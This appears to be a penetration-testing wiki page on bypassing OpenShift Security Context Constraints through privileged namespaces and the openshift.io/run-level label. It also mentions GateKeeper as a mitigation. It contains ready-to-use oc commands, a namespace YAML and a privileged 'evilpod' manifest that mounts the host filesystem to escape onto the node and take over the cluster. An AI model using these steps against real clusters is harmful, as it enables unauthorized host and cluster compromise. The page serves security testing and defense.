Openshift - SCC bypass

Reading time: 3 minutes

The original author of this page is Guillaume

Privileged Namespaces

By default, SCC does not apply on following projects :

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.

Namespace Label

There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :

  • Create a Namespace and Create a Pod on this Namespace
  • Edit a Namespace and Create a Pod on this Namespace
bash
$ oc auth can-i create namespaces
  yes

$ oc auth can-i patch namespaces
  yes

The specific labelopenshift.io/run-level enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.

Add Label

To add the label in your namespace :

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

To create a namespace with the label through a YAML file:

yaml
apiVersion: v1
kind: Namespace
metadata:
  name: evil
  labels:
    openshift.io/run-level: 0

Now, all new pods created on the namespace should not have any SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$                                            

In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.

yaml
apiVersion: v1
kind: Pod
metadata:
  name: evilpod
  labels:
    kubernetes.io/hostname: evilpod
spec:
  hostNetwork: true #Bind pod network to the host network
  hostPID: true #See host processes
  hostIPC: true #Access host inter processes
  containers:
    - name: evil
      image: MYIMAGE
      imagePullPolicy: IfNotPresent
      securityContext:
        privileged: true
        allowPrivilegeEscalation: true
      resources:
        limits:
          memory: 200Mi
        requests:
          cpu: 30m
          memory: 100Mi
      volumeMounts:
        - name: hostrootfs
          mountPath: /mnt
  volumes:
    - name: hostrootfs
      hostPath:
        path:

Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for Node-Post Exploitation part in the following page :

Attacking Kubernetes from inside a Pod

Custom labels

Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.

Try to look for custom labels if you can read some resources. Here a list of interesting resources :

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

List all privileged namespaces

bash
$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the openshift.io/run-levellabel can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality cannot be disabled, as it is inherent to OpenShift's design.

However, mitigation measures like Open Policy Agent GateKeeper can prevent users from setting this label.

To bypass GateKeeper's rules and set this label to execute a cluster takeover, attackers would need to identify alternative methods.

References